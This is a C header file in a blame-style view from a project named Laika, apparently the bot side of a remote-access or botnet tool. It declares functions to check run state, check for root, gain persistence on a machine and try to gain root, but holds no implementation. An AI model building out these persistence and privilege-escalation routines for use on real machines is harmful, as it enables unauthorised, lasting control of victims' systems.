2022-04-04 17:12:37 +00:00
|
|
|
#ifndef LAIKA_PERSIST_H
|
|
|
|
#define LAIKA_PERSIST_H
|
|
|
|
|
2022-04-08 00:04:42 +00:00
|
|
|
#include "lconfig.h"
|
|
|
|
|
|
|
|
#ifndef LAIKA_PERSISTENCE
|
2022-04-07 23:11:58 +00:00
|
|
|
#define LAIKA_NOINSTALL
|
2022-04-08 00:04:42 +00:00
|
|
|
#endif
|
2022-04-07 23:11:58 +00:00
|
|
|
|
2022-04-04 17:12:37 +00:00
|
|
|
#include <stdbool.h>
|
|
|
|
|
|
|
|
/* check if laika is already running */
|
|
|
|
bool laikaB_checkRunning(void);
|
|
|
|
|
|
|
|
/* check if laika is already installed on current machine */
|
|
|
|
bool laikaB_checkPersist(void);
|
|
|
|
|
|
|
|
/* check if laika is running as super-user */
|
|
|
|
bool laikaB_checkRoot(void);
|
|
|
|
|
|
|
|
/* mark that laika is currently running */
|
|
|
|
void laikaB_markRunning(void);
|
|
|
|
|
|
|
|
/* unmark that laika is currently running */
|
|
|
|
void laikaB_unmarkRunning(void);
|
|
|
|
|
|
|
|
/* try to gain persistance on machine */
|
|
|
|
void laikaB_tryPersist(void);
|
|
|
|
|
|
|
|
/* try to gain root */
|
|
|
|
void laikaB_tryRoot(void);
|
|
|
|
|
|
|
|
#endif
|